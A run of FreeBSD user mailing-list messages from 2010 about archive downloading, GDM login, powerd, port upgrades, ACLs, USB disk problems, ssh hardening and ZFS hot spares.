> print "Fetching %d archives." % len(flist)
> fresult = map(getfile, flist)
> fok = [fentry[1] for fentry in fresult if fentry[2] == 0]
> ferr = [fentry[1] for fentry in fresult if fentry[2] != 0]
> if len(fok) > 0:
> print ""
> print "Successfully downloaded %d archives" % len(fok)
> for f in fok:
> print " %s" % f
> if len(ferr) > 0:
> print ""
> print "Failed to download %d archives" % len(ferr)
> for f in ferr:
> print " %s" % f
> Running this with a couple of lines to limit the FTP connections a
> bit
> and fetch only parts of the freebsd-current mail archives produces
> the
> following output on my laptop:
> keramida@kobe:/tmp$ python foo.py
> Fetching year list.
> Fetching file lists for 3 years.
> Fetching 5 archives.
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950305.freebsd-current.gz
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950312.freebsd-current.gz
> fetched
> ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950319.freebsd-current.gz
> Successfully downloaded 5 archives
> 19950101.freebsd-current.gz
> 19950226.freebsd-current.gz
> 19950305.freebsd-current.gz
> 19950312.freebsd-current.gz
> 19950319.freebsd-current.gz
> Without the limiting code that I removed from the example, it will
> try
> to fetch all the archive files for all 17 years.
> Then you can simply type:
> gzip -cd *.freebsd-current.gz > freebsd-current.mbox
> to produce a single UNIX mbox file with all the messages.
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Hi,
> I'm 100% GNU/Linux since 2001
>
> No, not migrate all my machines to FreeBSD.
The way I would do is, when I have to put up a new machine, I install
FreeBSD, but the existing ones, I keep them with the existing OS,
untill they need replacement.
Best regards,
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Laptop with Freebsd 8.0, with gnome installed and
gdm_enable="YES"
gnome_enable="YES"
in /etc/rc.conf, no changes to /etc/ttys (that is: ttyv8 ... xdm off)
After reboot, system starts in gnome, gives a greenish background,
a taskbar at the bottom, with only date/time, a button for 'Universal
access preferences' and an icon for the battery.
In the desktop a grey window with 2 buttons labeled 'Restart' and
'Shutdown'.
Clicking either of them makes them be blueish for the time the mouse
button in pressed, but nothing happens.
I am stuck in Gnome. Why and how to solve it ?
(I can only do Ctrl-Alt-F1 to get to the command prompt, but even that
I have to do twice: the first time it gives a flickering almost entirely
black
screen with at the top some half line of flickering ascii characters (can't
read), doing a Ctrl-Alt-F9 (back to gnome) and again Ctrl-Alt-F1 gives me a
stable login: prompt.)
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On Mon, Mar 8, 2010 at 12:46 AM, n dhert <ndhertbsd@gmail.com> wrote:
> Laptop with Freebsd 8.0, with gnome installed and
> gdm_enable="YES"
> gnome_enable="YES"
> in /etc/rc.conf, no changes to /etc/ttys (that is: ttyv8 ... xdm off)
> After reboot, system starts in gnome, gives a greenish background,
> a taskbar at the bottom, with only date/time, a button for 'Universal
> access preferences' and an icon for the battery.
> In the desktop a grey window with 2 buttons labeled 'Restart' and
> 'Shutdown'.
> Clicking either of them makes them be blueish for the time the mouse
> button in pressed, but nothing happens.
> I am stuck in Gnome. Why and how to solve it ?
>
> (I can only do Ctrl-Alt-F1 to get to the command prompt, but even that
> I have to do twice: the first time it gives a flickering almost entirely
> black
> screen with at the top some half line of flickering ascii characters (can't
> read), doing a Ctrl-Alt-F9 (back to gnome) and again Ctrl-Alt-F1 gives me a
> stable login: prompt.)
>
>
Sounds like you are in GDM, not gnome. There's probably a login button
somewhere, you need to authenticate with the system then you'll be logged
into the desktop. Also, it's just Alt-F9 to return to the graphical
display, ctrl not needed there.
--
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On Saturday 06 March 2010 15:02:20 Martin McCormick wrote:
> Fbsd1 writes:
> > just dd the image to what ever drive you want
>
> That is the goal. The challenge is to launch a script
> that detects when the boot device has been unmounted as dd will
> not work on an active file system.
Martin
it may or may not work, but there's a sysctl for the geom subsystem which
might do what you want.
sysctl kern.geom.debugflags=16
This used to be used (for all i know still can be) to allow writing metadata
for (eg) building a gmirror on a mounted disk - it's often referred to as the
``allow-footshooting'' flag.
That might allow you to dd your image onto the mounted disk - i'd either try
it with a handy spare system or wait for someone more expert than i to
comment, though.
Jonathan
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> On Mon, 1 Mar 2010, Eitan Adler wrote:
>>> Which version of flex are you using (you can find out running
>>> /usr/local/bin/flex --version)?
>> %flex --version
>> flex version 2.5.4
>
> that is the system version of flex; I was specifically asking for
> the one in /usr/local/bin/flex which is used by the wine port (since
> the system one is too old for wine).
Interesting - I just used whatever flex was in my path. Is wine making
the same mistake?
% /usr/local/bin/flex --version
flex 2.5.35
> It should not, but if you can rebuild flex and Wine without this, that
> would be an interesting data point.
> My take it this is that _something_ is causing flex to generate incorrect
> code or the toolchain is miscompiling something. =A0That's why I asked ab=
out
> the version of flex you are using, that is the one thing I could think of=
.
> (Over here it is flex 2.5.35, the package 2.5.35_3.)
Same here: flex-2.5.35_3
>
> Gerald
>
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On Mon, 8 Mar 2010, Eitan Adler wrote:
> Interesting - I just used whatever flex was in my path. Is wine making
> the same mistake?
> % /usr/local/bin/flex --version
> flex 2.5.35
The following in wine/Makefile
CONFIGURE_ENV= ... FLEX="${LOCALBASE}/bin/flex"
takes care of using the ports version instead of the base one.
Gerald
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On Sun, 7 Mar 2010 13:58:07 -0800, Walt Pawley <walt@wump.org> wrote:
> At 1:28 PM -0500 3/6/10, Chuck Swiger wrote:
>
> >While I think floppy drives are still useful for BIOS updates and the
> >like, it's not just Apple that isn't selling machines with floppy
> >drives any more. Go to HP or Dell and try to buy a new machine with a
> >floppy drive-- they don't sell them anymore, either...
>
> I certainly can't argue that modern machines typically have
> floppy drives ... even if the motherboard supports one.
>
> So what?
I think he wanted to point out that even if motherboards
today still support floppy disk drives, the computer itself
often does omit one. Instead, a blank cover is used for
the intended slot, or a SD + CF + who knows what reader
comes built-in.
This, of course, doesn't stop you from building one (or
two) into your box. But manufacturers seem to have agreed
that - especially in the home consumer market, which is
their most important playing field - floppies aren't
used anymore.
But soon, the ability to connect a floppy will disappear.
First, the connectors will vanish, followed by the
functionality within the hardware (e. g. BIOS) to
access them.
You find such a situation in notebooks. They don't have
floppy drives for many years now, and the only way to
access floppies with them is to buy (!) an external drive,
usually USB based. (I had such a situation with a customer
who needs floppy support, but had to buy a new notebook.
Imagine his surprise! While home customers already have
accepted that there are no floppies anymore, corporate
customers that work in a specific field still rely on
their presence.)
> Not everyone in the world throws their three year old
> computer in the trash so they can stay "up to date."
Average home consumers do. In fields where it is important
to have access to data and programs for much longer time,
you often don't find PCs, e. g. in the (still alive) mainframe
area, notably IBM's.
> I, for one,
> find it very annoying that new versions of software which once
> worked just fine on equipment I still use every day no longer
> work in their current incarnations.
That's a feeling I had, too, when upgrading my home system
from a perfectly working (until the total crash) 5.4 to 7.0,
from XFree86 to X.org. Lots of things had to be done, and
the observation that if you update things on FreeBSD, they
get better and faster, doesn't seem to be confirmed this
time (except for the OS) - speed down, usability down, overhead
up. But that, what we mostly call "bloat", be it in hardware
or in software, seems to be a needed motor for development,
at least I have been told that. :-)
It's a bit scary that the 300 MHz P2 (FreeBSD 5 and apps)
works much faster than my 2000 MHz P4 (FreeBSD 7 and apps).
> Delving into several such
> cases, I've found comments to the effect that functions are
> removed because no one uses the old stuff (ie. three years
> old) any more.
THere are still situations where you depend on three (or thirteen)
years old stuff, especially in data analytics and forensics.
The common situation, especially with home users, is to
constantly migrate data from one format to another (again,
this may mean file format as well as storage media), to
keep them accessible.
By the way, I have floppies older than twenty (20!) years
that work perfectly - that's much longer as a "modern" DVD
driver works. :-)
This leads me to my conclusion again: The older something
is, the longer it lasts. Mostly.
--
Polytropon
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Happy FreeBSD user since 4.0
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El día Friday, March 05, 2010 a las 04:33:43PM +0100, Bas v.d. Wiel escribió:
> >I would like to have a bigger model to do the same with a group of
> >colleagues on my side, i.e. put the cam 3-4 meter away from the table.
> >Does someone knows a good model for doing that, wall or table mounted
> >and with a long USB cable, and supported in FreeBSD 8-CURRENT?
> >
> >Thx
> >
> > matthias
> >
> In the past I've had reasonable succes using a standard camcorder over
> firewire to do things like this. It's been a few years though. If using
> firewire isn't an issue for you, I'd be happy to delve into my pile of
> notes and see if I can find you something of a howto. The advantage of a
> firewire camera is in the much more standardized protocol between PC and
> camera.
Hello Bas,
Thanks for you kind reply to my quest. I've never used any device via
firewire; I see that there are man pages firewire(4) and fwe(4), but I
have no clue, how this connection of a cam is physically made; can I connect such
cam to my laptop or do I need a special PCI card, for example (i.e.
build up some PC for my purpose, which could be an option too)?
and: will the result work with Skype?
I'd be happy to read your howto about; thanks in advance
matthias
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Hello
Is powerd finally considered stable and safe to use on 8.0? At least
on 7.2, it consistently caused panics when used on Atom systems with
Hyper-Threading enabled, but I recall that Attilio Rao was looking
into it.
- Sincerely,
Dan Naumov
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I was trying to determine a md5sum from a DVD I had inserted into a
FreeBSD 8.0
on my Dell Inspiron 9400 notebook.
I thought dd if=/dev/acd0 | md5 would work but I got "Invalid argument".
Trying dd if=/dev/acd0 bs=1048k | md5 worked in so far that it didn't
yield an error
but after the DVD stopped spinning the command hung and I only could
bail out using ^C.
Any clues?
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Okay, now I am baffled.
Up until this point, I wasn't using powerd on this new Atom D510
system. I ran sysctl and noticed that dev.cpu.0.freq: is actually 1249
and doesn't change no matter what kind of load the system is under. If
I boot to BIOS, under BIOS CPU is shown as 1,66 Ghz. Okayy... I guess
this explains why my buildworld and buildkernel took over 5 hours if
by default, it gets stuck at 1249 Mhz for no obvious reason. I enabled
powerd and now according to dev.cpu.0.freq:, the system is permanently
stuck at 1666 Mhz, regardless of whether the system is under load or
not.
atombsd# uname -a
FreeBSD atombsd.localdomain 8.0-RELEASE-p2 FreeBSD 8.0-RELEASE-p2 #0:
Tue Jan 5 21:11:58 UTC 2010
root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64
atombsd# kenv | grep smbios.planar.product
smbios.planar.product="X7SPA-H"
atombsd# sysctl dev.cpu dev.est dev.cpufreq dev.p4tcc debug.cpufreq
kern.timecounter
dev.cpu.0.%desc: ACPI CPU
dev.cpu.0.%driver: cpu
dev.cpu.0.%location: handle=\_PR_.P001
dev.cpu.0.%pnpinfo: _HID=none _UID=0
dev.cpu.0.%parent: acpi0
dev.cpu.0.freq: 1666
dev.cpu.0.freq_levels: 1666/-1 1457/-1 1249/-1 1041/-1 833/-1 624/-1
416/-1 208/-1
dev.cpu.0.cx_supported: C1/0
dev.cpu.0.cx_lowest: C1
dev.cpu.0.cx_usage: 100.00% last 500us
dev.cpu.1.%desc: ACPI CPU
dev.cpu.1.%driver: cpu
dev.cpu.1.%location: handle=\_PR_.P002
dev.cpu.1.%pnpinfo: _HID=none _UID=0
dev.cpu.1.%parent: acpi0
dev.cpu.1.cx_supported: C1/0
dev.cpu.1.cx_lowest: C1
dev.cpu.1.cx_usage: 100.00% last 500us
dev.cpu.2.%desc: ACPI CPU
dev.cpu.2.%driver: cpu
dev.cpu.2.%location: handle=\_PR_.P003
dev.cpu.2.%pnpinfo: _HID=none _UID=0
dev.cpu.2.%parent: acpi0
dev.cpu.2.cx_supported: C1/0
dev.cpu.2.cx_lowest: C1
dev.cpu.2.cx_usage: 100.00% last 500us
dev.cpu.3.%desc: ACPI CPU
dev.cpu.3.%driver: cpu
dev.cpu.3.%location: handle=\_PR_.P004
dev.cpu.3.%pnpinfo: _HID=none _UID=0
dev.cpu.3.%parent: acpi0
dev.cpu.3.cx_supported: C1/0
dev.cpu.3.cx_lowest: C1
dev.cpu.3.cx_usage: 100.00% last 500us
sysctl: unknown oid 'dev.est'
Right. So how do I investigate why does the CPU get stuck at 1249 Mhz
after boot by default when not using powerd and why it gets stuck at
1666 Mhz with powerd enabled and doesn't scale back down when IDLE?
Out of curiosity, I stopped powerd but the CPU remained at 1666 Mhz.
- Sincerely,
Dan Naumov
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MySQL and Postgresql appear in the freebsd with many different versions.
Normally ports have only one version (the latest) and you upgrade with
portupgrade.
Sometimes a mysql-client or postgresql-client is installed as a dependency
of another port,
(e.g. a Davical install today installed postgresql-client-8.2.15_1 as a
dependency whereas
postgresql-server already has a 8.3 and 8.4 version in the ports now)
Is it save to install the newest server version?
or should one install the same version as the client one already has ?
Both for mysql and postgresq server, the corresponding client is a
dependendy.
I e.g. you already have mysql-client-5.0.90 but no mysql server yet, and you
install
mysql-server-5.5.2., will it install mysql-client-5.5.2 alongside the
existing mysql-client-5.0.90
or upgrade it ?
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i have a acer aspire one with no oprating system it has
no cd drive would i be possible to download a redy top use
version of software so i could boot form a memory stick?
(i have no other computer to unlock to iso file)
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Hi,
> i have a acer aspire one with no oprating system it has
> no cd drive would i be possible to download a redy top use
> version of software so i could boot form a memory stick?
> (i have no other computer to unlock to iso file)=20
Google is your friend:
http://miwi.bsdcrew.de/2009/06/freebsd-80-install-with-a-usb-stick/
next time, do that yourself.
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On 08/03/2010 12:23:04, n dhert wrote:
> MySQL and Postgresql appear in the freebsd with many different versions.
> Normally ports have only one version (the latest) and you upgrade with
> portupgrade.
>
> Sometimes a mysql-client or postgresql-client is installed as a dependency
> of another port,
> (e.g. a Davical install today installed postgresql-client-8.2.15_1 as a
> dependency whereas
> postgresql-server already has a 8.3 and 8.4 version in the ports now)
> Is it save to install the newest server version?
> or should one install the same version as the client one already has ?
Yes, in general you can install whichever versions of the DB client you
prefer. The ports generally defaults to a conservatively chosen
version - sometimes this can be an older version than what the upstream
project itself recommends. Unless you are going to be exploring less
frequently used or novel functionality and if you're not concerned with
getting the absolute maximum performance, then the newest versions are
generally OK.
> Both for mysql and postgresq server, the corresponding client is a
> dependendy.
> I e.g. you already have mysql-client-5.0.90 but no mysql server yet, and you
> install
> mysql-server-5.5.2., will it install mysql-client-5.5.2 alongside the
> existing mysql-client-5.0.90
> or upgrade it ?
The -server ports link against shared libraries provided by the -client
ports: this means that you have to have matching server and client
ports installed on a server. As mysql-client-5.0.90 conflicts with
mysql-client-5.5.2 you'll find simply trying to install mysql-
server-5.5.2 will fail. Instead, try something like this:
# portupgrade -m DISABLE_CONFLICTS=yes -o databases/mysql55-client -f
mysql-client-5.0.90
# portupgrade -x mysql-client-5.5.2 -fr mysql-client-5.5.2
# portinstall databases/mysql55-server
Note: if you have mysql50-scripts installed, you'll need to insert this
as the 2nd step:
# portupgrade -m DISABLE_VULNERABILITIES=yes -o
databases/mysql55-scripts -f mysql-scripts-5.0.90
Once you've got mysql-5.5.2 installed, any other ports you install
which depend on MySQL will automatically link against that version.
Well, with the possibility there might be a few ports known not to work
with that specific version.
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Matthew
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Hello,
I'm just wondering if only specified version of NFS can be started. (For instance, can I start only NFS version 3 while remaining NFS version 2 stopped?)
Is it possible to do it by just adding some parameters in the config file such as rc.conf?
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On Mon, Mar 8, 2010 at 11:41 AM, Gerald Pfeifer <gerald@pfeifer.com> wrote:
> On Mon, 8 Mar 2010, Eitan Adler wrote:
>> Interesting - I just used whatever flex was in my path. Is wine making
>> the same mistake?
>> % /usr/local/bin/flex --version
>> flex 2.5.35
>
> The following in wine/Makefile
>
> =A0CONFIGURE_ENV=3D =A0... FLEX=3D"${LOCALBASE}/bin/flex"
>
> takes care of using the ports version instead of the base one.
>
> Gerald
>
rebuilding wine without any make.conf changed nothing
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Hi Folks,
I need to give a group of users write access to a shared directory. The =
problem is, when one user creates a file,
www1$ touch file1
www1$ ll
total 8
drwxrwxr-x 2 root domain_users 512 Mar 8 03:11 .
drwxr-xr-x 4 root wheel 512 Mar 8 03:10 ..
-rw-r--r-- 1 www1 domain_users 0 Mar 8 03:11 file1
other users can't edit it.
Solution 1
----------
Change everyone's umask to 002. Unfortunately, these users are defined =
in Active Directory and they're all in the same primary group - 002 is =
not secure in this scenario.
Solution 2
----------
Set a default ACL on the parent directory,=20
www1$ getfacl -d .
# file: .
# owner: root
# group: domain_users
user::rwx
group::rwx
mask::rwx
other::r-x
but it doesn't have the desired effect,
www1$ touch file1
www1$ getfacl file1
# file: file1
# owner: www1
# group: domain_users
user::rw-
group::rwx # effective: r--
mask::r--
other::r--
as the umask seems to override it - this was confirmed by Robert =
Watson[1] in 2005.
So does anyone have a better idea?
Thanks
Rob.
[1] =
http://lists.freebsd.org/pipermail/freebsd-fs/2005-October/001382.html
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> recent chromium builds on http://chromium.jaggeri.com/ and
> http://code.google.com/p/chromium-freebsd8/ support html5. don't know if the
> firefox and opera ports support html5 yet.
If you use the latest version of firefox , check this link:
http://www.mozilla.com/en-US/firefox/video/?video=personas
It played flawless on my system and I don't remember me having
configured some option/port knob to enable the functionality.
However, there is an ongoing battle regarding which codecs would be
supported. Google/Apple support h264 while Mozilla/Opera prefer/advocate
the Ogg theora one. I think this is a pretty thin picture of the
situation but I guess you can google it around.
So, don't expect all html5/video sites to work.
> alex
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# pkg_db -F
- that will auto-fix versions collisions between dependencies - it may help
you.
2010/3/8 n dhert <ndhertbsd@gmail.com>
> MySQL and Postgresql appear in the freebsd with many different versions.
> Normally ports have only one version (the latest) and you upgrade with
> portupgrade.
>
> Sometimes a mysql-client or postgresql-client is installed as a dependenc=
y
> of another port,
> (e.g. a Davical install today installed postgresql-client-8.2.15_1 as a
> dependency whereas
> postgresql-server already has a 8.3 and 8.4 version in the ports now)
> Is it save to install the newest server version?
> or should one install the same version as the client one already has ?
>
> Both for mysql and postgresq server, the corresponding client is a
> dependendy.
> I e.g. you already have mysql-client-5.0.90 but no mysql server yet, and
> you
> install
> mysql-server-5.5.2., will it install mysql-client-5.5.2 alongside the
> existing mysql-client-5.0.90
> or upgrade it ?
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i found the link on connecting bsd gnome to dsl internet darn helpful.i
connected to dsl using the code written by mr doug i believe to work
correctly inside a freebsd guest os inside vmware player using which i
connected gnome to dsl internet .in between i had the tryst with vi typing
code into rc.conf file had good fun there .typing this email from gnome bsd
8 internet email as a result .odes of gratitude
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I've been running powerd for a while. Been running it on an ASUS
B202. It brought my freq down to 100mhz when I checked on it.
Stopping powerd brought the freq up to 1600, and restarting powerd
brought it back to 100mhz eventually.
You might need to load an ACPI module for your system. Mine would be
acpi_asus.ko if I choose to run it.
I've never seen powerd to cause panics. I'm sure it's possible, but
I've never seen it.
Mark +1 for the success here on this side.
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On Mon, 8 Mar 2010 15:52:29 +0300, Ðнтон КлеÑÑ <antoniok.spb@gmail.com> wrote:
> # pkg_db -F
> - that will auto-fix versions collisions between dependencies - it may help
> you.
I'm sure you need the command "pkgdb -F" (without underscore)
here; for automated run, use "pkgdb -aF". Note that pkgdb
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Hi,
migrating a syslogd server to another box this morning and updated the dns
zonefile, all syslog clients continue to use the old box.
Is this 'I only resolve at boot' syslogd behaviour intentional ? Now I
manually need to HUP them all... quite silly.
Regards,
Robert
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I'm possibly considering building a FreeBSD based NAS to provide NFS storag=
e for vSphere in a production environment. I would use FreeBSD-8, amd64 va=
riety. What is the expected EOS & EOL dates (end of support/end of life) f=
or FreeBSD 8? I'm not sure if the EOL question matters for an open source =
OS, but basically I'm just asking at what point in time would there no long=
er be security updates and bug fixes made to the OS?=
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mailinglist wrote:
> I'm possibly considering building a FreeBSD based NAS to provide NFS
> storage for vSphere in a production environment. I would use FreeBSD-8,
> amd64 variety. What is the expected EOS & EOL dates (end of support/end
> of life) for FreeBSD 8? I'm not sure if the EOL question matters for an
> open source OS, but basically I'm just asking at what point in time would
> there no longer be security updates and bug fixes made to the
> OS?
http://security.freebsd.org/#sup
Of course, possibly subject to change or update. Usually any new additions
of changes are reported in various @announce mailing lists. The security
announce list will report on specifically the secure patch support question.
-Mike
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Is is considered okay for end users of the ports system to use the =
PKGNAMESUFFIX variable? I need to label the python 2.6 port that I've =
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mod_python and apache in the default configuration. I did the following:
# cd /usr/ports/lang/python2.6; make=20
...
# env PKGNAMESUFFIX=3D"-nothreads" make install package clean
Everything seemed to work ok but I want to make sure I'm not creating =
problems for myself in the future.
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On Mon, Mar 8, 2010 at 7:42 AM, Lars Hartmann <lars@chaotika.org> wrote:
> Hi,
>> =A0 =A0 =A0i have a acer aspire one with no oprating system it has
>> no cd drive would i =A0be possible to download a redy top use
>> version of software so i could boot form =A0a memory stick?
>> =A0(i have no other computer to unlock to iso file)
> Google is your friend:
> http://miwi.bsdcrew.de/2009/06/freebsd-80-install-with-a-usb-stick/
>
> next time, do that yourself.
>
http://lmgtfy.com/?q=3Dfreebsd+8.0+install+with+usb+stick
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OK, now I feel a bit stupid. The second half of my PR at
http://www.freebsd.org/cgi/query-pr.cgi?pr=144551 (anything related to
powerd behaviour) can be ignored. For testing purposes, I started
powerd in the foreground and observed it's behaviour. It works exactly
as advertised and apparently the very act of issuing a "sysctl -a |
grep dev.cpu.0.freq" command uses up a high % of CPU time for a
fraction of a second, resulting in confusing output, I was always
getting the highest cpu frequency state as the output. Testing powerd
in foreground however, shows correct behaviour, CPU is downclocked
both before and after issuing that command :)
Still doesn't explain why the system boots up at 1249 Mhz, but that's
not that big of an issue at this point now I see that powerd is
behaving correctly.
- Sincerely,
Dan Naumov
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I am still having severe problems with severe system instabilities with
FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly
locks up, it appears applications lock up when they access the USb disk.
Also, when accessing the USB disk, the entire system lockup often for
minutes. Performance with accessing USB disks is horrendous,. it took 7
hours to copy a directory that was 200 MB. Any program that accesses the
USB disk tend to freeze for minutes, and often the entire system becomes
unresponsive for minutes. Overall FreeBSD here is characterized by
severe instabilities, ive had better performance from Windows 98
systems. The fact that the entire system freezes up, this should not
happen, a well designed system will not lock up the entire OS when
accessing disk.
Are there any diagnostic tools uch as getting a log of tranmissions on
USB and probe it, ,or finmd out what code it is lockilng up on ?Has
anyone else seen these problems with USB disks?
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surely, pkgdb. not pkg_db. I have misspelled.
2010/3/8 Polytropon <freebsd@edvax.de>
> On Mon, 8 Mar 2010 15:52:29 +0300, =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3 <anton=
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> wrote:
> > # pkg_db -F
> > - that will auto-fix versions collisions between dependencies - it may
> help
> > you.
>
> I'm sure you need the command "pkgdb -F" (without underscore)
> here; for automated run, use "pkgdb -aF". Note that pkgdb
> program is part of the portupgrade port.
>
>
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> On 07/03/10 21:41, dacoder wrote:
>
> has anybody suggested having sshd listen on a high port?
>>
>
> Any number will do, think about it:
>
> a. The attacker doesn't really care which host is compromised any will do=
,
> and better yet someones home box as it is more difficult to trace him. In
> that case he will scan large ip-ranges for hosts listening on port 22.
>
> b. The attacker wants to gain control of a particular server. In that cas=
e
> he will scan all ports to see what services are running and determine whi=
ch
> services are running on each port. In that case running ssh on a
> non-standard port is futile.
>
> However, I'm not really a fan of using non-standard ports for ssh, I don'=
t
> believe it's the right solution to the problem: You have ssh access to th=
e
> outside because people travel and need remote access. In that case they
> might find themselves under other security policies which block access to
> services deemed unnecessary. Running ssh on a non-standard port is likely=
to
> be blocked on the client network - unless you run on, say, port 80.
>
> The more uses you have, the more problems you will have running ssh on a
> non-standard port, the time you save checking your logs may easily be spe=
nt
> on end user support.
>
> OP referred to significant impact on bandwidth which I find difficult to
> believe. In case connections come from a single ip at a time then you sho=
uld
> tweak LoginGraceTime, MaxAuthTries, MaxSessions to reduce the number of
> concurrent un-authenticate connections and slow down brute force attacks.
>
> Much better, restrict the client access to certain ranges of IPs. The
> different registries publish ip ranges assigned per country and you can
> create a list blocking countries you are certain not to visit, you can us=
e
> my script:
>
> http://www.locolomo.org/pub/src/toolbox/inet.pl
>
>
Great script! Just one question. Where do you put the list of denied ip
ranges?
>
> BR, Erik
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Hi--
On Mar 8, 2010, at 8:52 AM, David Jackson wrote:
> I am still having severe problems with severe system instabilities with FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly locks up, it appears applications lock up when they access the USb disk. Also, when accessing the USB disk, the entire system lockup often for minutes. Performance with accessing USB disks is horrendous,. it took 7 hours to copy a directory that was 200 MB. Any program that accesses the USB disk tend to freeze for minutes, and often the entire system becomes unresponsive for minutes. Overall FreeBSD here is characterized by severe instabilities, ive had better performance from Windows 98 systems. The fact that the entire system freezes up, this should not happen, a well designed system will not lock up the entire OS when accessing disk.
>
> Are there any diagnostic tools uch as getting a log of tranmissions on USB and probe it, ,or finmd out what code it is lockilng up on ?Has anyone else seen these problems with USB disks?
You've asked the same question multiple times, but there is sufficient lack of details that you're not going to get good feedback. Put a dmesg from a clean boot, output of "usbdevs -v", and maybe minimal testing with "diskinfo -t /dev/DISK" or "dd if=/dev/DISK of=/dev/null bs=64k" to see your effective transfer rates onto the web somewhere, and email links to this information.
Also note that if you are unhappy with FreeBSD, by all means, feel free to use something else. You may also feel free to spare the list your opinions WRT a comparision to Win98.
Regards,
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On Monday 08 March 2010 16:52:08 David Jackson wrote:
> Are there any diagnostic tools uch as getting a log of tranmissions on
> USB and probe it, ,or finmd out what code it is lockilng up on ?Has
> anyone else seen these problems with USB disks?
You'll probably get a better response by asking on the freebsd-usb mailing
list.
The following debug nodes for USB in 8.0 are present:
> sysctl hw.usb | grep debug
hw.usb.ehci.debug: 0
hw.usb.ohci.debug: 0
hw.usb.uhci.debug: 0
hw.usb.ctrl.debug: 0
hw.usb.umass.debug: 0
hw.usb.debug: 0
hw.usb.dev.debug: 0
hw.usb.ugen.debug: 0
hw.usb.uhub.debug: 0
hw.usb.proc.debug: 0
hw.usb.ulpt.debug: 0
hw.usb.ucom.debug: 0
hw.usb.uhid.debug: 0
hw.usb.ukbd.debug: 0
hw.usb.ums.debug: 0
Your first step should probably be to get a verbose boot log (boot -v) - one
of the USB developers will likely know better than I do which sysctl debug
nodes to set to get more details.
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Angelin Lalev <lalev.angelin@gmail.com> writes:
;2~> On Sun, Mar 7, 2010 at 11:25 PM, Angelin Lalev <lalev.angelin@gmail.com> wrote:
>> Greetings,
>>
>> I'm doing some research into ssh and its underlying cryptographic
>> methods and I have questions. I don't know whom else to ask and humbly
>> ask for forgiveness if I'm way OT.
>>
>> So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
>> These algorithms can defeat any attempts on eavesdropping, but cannot
>> defeat man-in-the-middle attacks. To defeat them, some pre-shared
>> information is needed - key fingerprint.
>>
>> If hypothetically someone uses instead of the plain text
>> authentication some challenge-response scheme, based on user's
>> password or even a hash of user's password would ssh be able to avoid
>> the need the user to have key fingerprints of the server prior the
>> first connection?
>>
>
> To clarify, we as users anyway do have shared secret with the server
> and that's the authentication password why we could not use that
> instead of or in addition to a key fingerprint?
Because we don't want to give an attacker access to a shared secret if
we can verify host identity with a public key first.
--
Lowell Gilbert, embedded/networking software engineer, Boston area
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On 03/07/2010 03:47 AM, Matthew Seaman wrote:
> On 07/03/2010 08:45:41, CyberLeo Kitsana wrote:
>
>> By necessity and convenience, I have developed a series of additions and
>> changes to the ports tree. These changes are probably not worthy of
>> inclusion into the official tree, so I'm looking to maintain an overlay,
>> of sorts, in the spirit of Gentoo's overlay capability.
>
>> Is there an official method of hooking changes into a ports tree, while
>> maintaining the ability to csup or portsnap the unmodified version? How
>> do others tackle this particular problem?
>
> Yes, you can add your own local ports or even whole categories of local
> ports without too much difficulty. You can even add some tweaks to an
> existing port -- you don't have complete freedom to do anything there,
> but you can do quite a lot.
>
> If you create a Makefile.local at any level in the ports tree it will be
> included alongside the usual Makefile. This means you can override a
> lot of the available settings at will.
>
> So, if you create /usr/ports/Makefile.local
>
> with the contents:
>
> SUBDIR+=myports
>
> then you can create a directory /usr/ports/myports and put your own
> ports inside it -- you'll need a /usr/ports/myports/Makefile just like
> the other category directories.
This is an excellent idea, and one I ultimately ended up using. However,
I've found that the ports infrastructure really doesn't tolerate
creating arbitrary categories, so I had to put a VALID_CATEGORIES+= bit
at the top of each of my ports' makefiles to get it to work without
patching any tracked files.
> <snip>
> If you want to modify an existing port, probably the best approach is to
> create your own slave port -- see the docco on MASTERDIR in the Porter's
> Handbook and look at eg. games/freeciv-nox11 for about the simplest
> possible example. It's not fool proof -- some modifications will always
> need support in the master port's Makefile, but there's a lot you can do
> without that.
Another good suggestion. I find annoyance in that devel/glib20 (among
others) requires all of Perl and Python at runtime just to service two
script files that appear to be used only for certain compilation
options. It tends to bloat the embedded images that I build.
--
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ZFS in FreeBSD lacks at least one major feature from the Solaris
version: hot spares. There is a PR open at
http://www.freebsd.org/cgi/query-pr.cgi?pr=134491, but there hasn't been
any motion/thoughts posted on it since its creation almost one year ago.
I'm aware that on Solaris, hot spare replacement is handled by a few
Solaris-specific daemons, zfs-retire and zfs-diagnose, which both plug
into the Solaris FMA (Fault Management Architecture). Have there been
any thoughts on porting these over or getting something similar running
within FreeBSD? With all of the recent SATA/SAS CAM hotplug work now
committed, it would be nice to have automatic replacement of hot spares
with a future hot-replacement of the failed drive.
On the other side, I'd be interested in hearing if anyone has had
success in rolling their own scripted solution: i.e. something which
polls 'zpool status' looking for failed drives and performing hot-spare
replacements automatically.
Thanks,
Steve Polyack
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doug schmidt wrote:
> On Mon, Mar 8, 2010 at 7:42 AM, Lars Hartmann <lars@chaotika.org> wrote:
>> Hi,
>>> i have a acer aspire one with no oprating system it has
>>> no cd drive would i be possible to download a redy top use
>>> version of software so i could boot form a memory stick?
>>> (i have no other computer to unlock to iso file)
>
>> Google is your friend:
>> http://miwi.bsdcrew.de/2009/06/freebsd-80-install-with-a-usb-stick/
>>
>> next time, do that yourself.
>>
>
> http://lmgtfy.com/?q=freebsd+8.0+install+with+usb+stick
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If you mean a bootable usb image that you can use to install FreeBSD to
your machine here are some things that might interest you:
You can get a usb stick installation image from
ftp://ftp.freebsd.org/pub/FreeBSD/ISO-IMAGES-i386/8.0/8.0-RELEASE-i386-memstick.img
but you'll probably need to do some reading in the handbook
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/
PCBSD is a ready to go desktop configuration of FreeBSD, you can
download a USB complete install from
